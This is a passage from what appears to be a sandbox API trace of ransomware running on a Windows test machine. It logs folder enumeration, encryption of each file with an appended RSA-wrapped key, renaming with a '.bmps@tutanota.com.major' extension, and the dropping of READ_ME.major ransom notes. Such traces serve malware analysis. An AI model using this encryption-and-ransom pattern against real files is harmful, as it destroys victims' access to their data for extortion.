ftCreationTime.dwLowDateTime=0x48165ac0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48165ac0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48186ab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.607] SetLastError (dwErrCode=0x12) [0250.607] GetLastError () returned 0x12 [0250.608] SetLastError (dwErrCode=0x12) [0250.608] SetLastError (dwErrCode=0x12) [0250.608] FindNextFileW (in: hFindFile=0x2f31a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48165ac0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48165ac0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48186ab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.608] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\nl_NL\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ee23d84, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ee23d84, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48186ab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31ca0 [0250.608] SetLastError (dwErrCode=0x12) [0250.608] GetLastError () returned 0x12 [0250.608] SetLastError (dwErrCode=0x12) [0250.608] SetLastError (dwErrCode=0x12) [0250.608] FindNextFileW (in: hFindFile=0x2f31ca0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ee23d84, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ee23d84, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48186ab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.608] SetLastError (dwErrCode=0x12) [0250.608] GetLastError () returned 0x12 [0250.608] SetLastError (dwErrCode=0x12) [0250.608] SetLastError (dwErrCode=0x12) [0250.608] FindNextFileW (in: hFindFile=0x2f31ca0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48186ab9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48186ab9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48186ab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.608] SetLastError (dwErrCode=0x12) [0250.608] GetLastError () returned 0x12 [0250.608] SetLastError (dwErrCode=0x12) [0250.608] SetLastError (dwErrCode=0x12) [0250.608] FindNextFileW (in: hFindFile=0x2f31ca0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48186ab9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48186ab9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48186ab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.609] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x7adf09ae, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48186ab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31ce0 [0250.609] SetLastError (dwErrCode=0x12) [0250.609] GetLastError () returned 0x12 [0250.609] SetLastError (dwErrCode=0x12) [0250.609] GetLastError () returned 0x12 [0250.609] SetLastError (dwErrCode=0x12) [0250.609] FindNextFileW (in: hFindFile=0x2f31ce0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x7adf09ae, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48186ab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.609] SetLastError (dwErrCode=0x12) [0250.609] GetLastError () returned 0x12 [0250.609] SetLastError (dwErrCode=0x12) [0250.609] GetLastError () returned 0x12 [0250.609] SetLastError (dwErrCode=0x12) [0250.609] FindNextFileW (in: hFindFile=0x2f31ce0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48186ab9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48186ab9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48186ab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.609] SetLastError (dwErrCode=0x12) [0250.609] GetLastError () returned 0x12 [0250.609] SetLastError (dwErrCode=0x12) [0250.609] SetLastError (dwErrCode=0x12) [0250.609] FindNextFileW (in: hFindFile=0x2f31ce0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48186ab9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48186ab9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48186ab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.609] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x4845b757, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31d20 [0250.610] SetLastError (dwErrCode=0x12) [0250.610] SetLastError (dwErrCode=0x12) [0250.610] GetLastError () returned 0x12 [0250.610] SetLastError (dwErrCode=0x12) [0250.610] FindNextFileW (in: hFindFile=0x2f31d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x4845b757, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.610] SetLastError (dwErrCode=0x12) [0250.610] SetLastError (dwErrCode=0x12) [0250.610] GetLastError () returned 0x12 [0250.610] SetLastError (dwErrCode=0x12) [0250.610] FindNextFileW (in: hFindFile=0x2f31d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfcc0fc, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6349d5, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", cAlternateFileName="0FDED5~1.CRL")) returned 1 [0250.610] SetLastError (dwErrCode=0x12) [0250.610] SetLastError (dwErrCode=0x12) [0250.610] SetLastError (dwErrCode=0x12) [0250.610] FindNextFileW (in: hFindFile=0x2f31d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfa5e97, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfa5e97, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6322b7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", cAlternateFileName="CE3388~1.CRL")) returned 1 [0250.610] SetLastError (dwErrCode=0x12) [0250.610] SetLastError (dwErrCode=0x12) [0250.610] SetLastError (dwErrCode=0x12) [0250.610] FindNextFileW (in: hFindFile=0x2f31d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4845b757, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4845b757, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x4845b757, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.610] SetLastError (dwErrCode=0x12) [0250.611] SetLastError (dwErrCode=0x12) [0250.611] GetLastError () returned 0x12 [0250.611] SetLastError (dwErrCode=0x12) [0250.611] FindNextFileW (in: hFindFile=0x2f31d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4845b757, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4845b757, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x4845b757, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.611] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0250.611] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", dwFileAttributes=0x80) returned 1 [0250.611] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4c [0250.612] GetFileSizeEx (in: hFile=0x1b4c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=425) returned 1 [0250.612] ReadFile (in: hFile=0x1b4c, lpBuffer=0x5a5ef8, nNumberOfBytesToRead=0x1a9, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a5ef8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1a9, lpOverlapped=0x0) returned 1 [0250.613] SetFilePointer (in: hFile=0x1b4c, lDistanceToMove=-425, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.613] WriteFile (in: hFile=0x1b4c, lpBuffer=0x57eca8*, nNumberOfBytesToWrite=0x1a9, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1a9, lpOverlapped=0x0) returned 1 [0250.613] SetFilePointer (in: hFile=0x1b4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1a9 [0250.613] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.613] WriteFile (in: hFile=0x1b4c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.613] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0250.613] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0250.613] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0250.613] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="sNE7WwJmUklw07Vk7jYIVdD69rcefPHlT36vXuS07Y9vYCGvKQeI5Ly6r9wPxfHM\n0CgV6aZ8eGK0O/Se25EuuNrz5WoRK2KX8+SrVu6x8FAjgZ/sSnVM2594s5QShbwd\nHmZKProEvVyl1DghhJEdtQPZBMxxiWEPIBSU7+ShBzbPC3ruOCV4LPjEF+E4MtPk\nA90A74EJx3Yv2/V7k37LUK9zMONKJ9UIY8iUDfZmLNPMXK9cbNOnJ2Qlg49BLfnq\ne84JVvcSrFJmUTvBkClLTtRSdzCsyz2ppDQeEwqtJ25vm3kGUMAdFHdcmnc86+qX\nNaX6i9goymYsKpvL5xKTkg==\n", pcchString=0x2e3f9a8) returned 1 [0250.613] WriteFile (in: hFile=0x1b4c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0250.614] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.614] WriteFile (in: hFile=0x1b4c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.614] CloseHandle (hObject=0x1b4c) returned 1 [0250.614] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0250.616] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0250.616] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", dwFileAttributes=0x80) returned 1 [0250.616] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4c [0250.617] GetFileSizeEx (in: hFile=0x1b4c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=637) returned 1 [0250.617] ReadFile (in: hFile=0x1b4c, lpBuffer=0x5aa568, nNumberOfBytesToRead=0x27d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5aa568*, lpNumberOfBytesRead=0x2e3f9b4*=0x27d, lpOverlapped=0x0) returned 1 [0250.618] SetFilePointer (in: hFile=0x1b4c, lDistanceToMove=-637, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.618] WriteFile (in: hFile=0x1b4c, lpBuffer=0x5b4d88*, nNumberOfBytesToWrite=0x27d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b4d88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x27d, lpOverlapped=0x0) returned 1 [0250.618] SetFilePointer (in: hFile=0x1b4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x27d [0250.618] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.618] WriteFile (in: hFile=0x1b4c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.618] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0250.619] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0250.619] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0250.619] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="6mKNDONn7svIAuzeuZP80H99ju14kePqLgs3zbxfL3FHhbqgu9OcMl9gTarmKeX8\n8ElBGqf/N4UMXVPq6l7W32OLHINBw4GLzCPrMqIGWGlg3VRiOkqijf2juWy4In/F\nozp/OPLofTWXMaTaV8DESsyM9XLFBa13Xn1zVR4VTwTFRaLp27w5g/eHjb7RXoQn\nWg3hFJcuOsNOz0Bn7doKcCb5U/XrfHKIPt4owYKNhmCk6hyxWgG7j78cbuKgYu7/\njwCRPktLL9xoUQ3nB8eDd9hiEkRN7oKJ+eVP5XrI82f1sxc6/huDgfeai+7Lmcac\n5sP0egqQVAONXsijPjIlDA==\n", pcchString=0x2e3f9a8) returned 1 [0250.619] WriteFile (in: hFile=0x1b4c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0250.619] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.619] WriteFile (in: hFile=0x1b4c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.619] CloseHandle (hObject=0x1b4c) returned 1 [0250.619] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0250.621] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x484819a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31d60 [0250.621] SetLastError (dwErrCode=0x0) [0250.621] GetLastError () returned 0x0 [0250.621] SetLastError (dwErrCode=0x0) [0250.621] GetLastError () returned 0x0 [0250.621] SetLastError (dwErrCode=0x0) [0250.621] FindNextFileW (in: hFindFile=0x2f31d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x484819a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.621] SetLastError (dwErrCode=0x0) [0250.621] GetLastError () returned 0x0 [0250.621] SetLastError (dwErrCode=0x0) [0250.621] GetLastError () returned 0x0 [0250.621] SetLastError (dwErrCode=0x0) [0250.621] FindNextFileW (in: hFindFile=0x2f31d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="aa.online-metrix.net", cAlternateFileName="AAONLI~1.NET")) returned 1 [0250.621] SetLastError (dwErrCode=0x0) [0250.621] GetLastError () returned 0x0 [0250.621] SetLastError (dwErrCode=0x0) [0250.621] SetLastError (dwErrCode=0x0) [0250.622] SetLastError (dwErrCode=0x0) [0250.622] GetLastError () returned 0x0 [0250.622] SetLastError (dwErrCode=0x0) [0250.622] GetLastError () returned 0x0 [0250.622] SetLastError (dwErrCode=0x0) [0250.622] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\#appcontainer\\aa.online-metrix.net\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b50 [0250.623] WriteFile (in: hFile=0x1b50, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0250.624] CloseHandle (hObject=0x1b50) returned 1 [0250.624] FindNextFileW (in: hFindFile=0x2f31d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484819a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x484819a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x484819a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.624] SetLastError (dwErrCode=0x0) [0250.624] GetLastError () returned 0x0 [0250.624] SetLastError (dwErrCode=0x0) [0250.624] SetLastError (dwErrCode=0x0) [0250.624] FindNextFileW (in: hFindFile=0x2f31d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484819a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x484819a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x484819a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 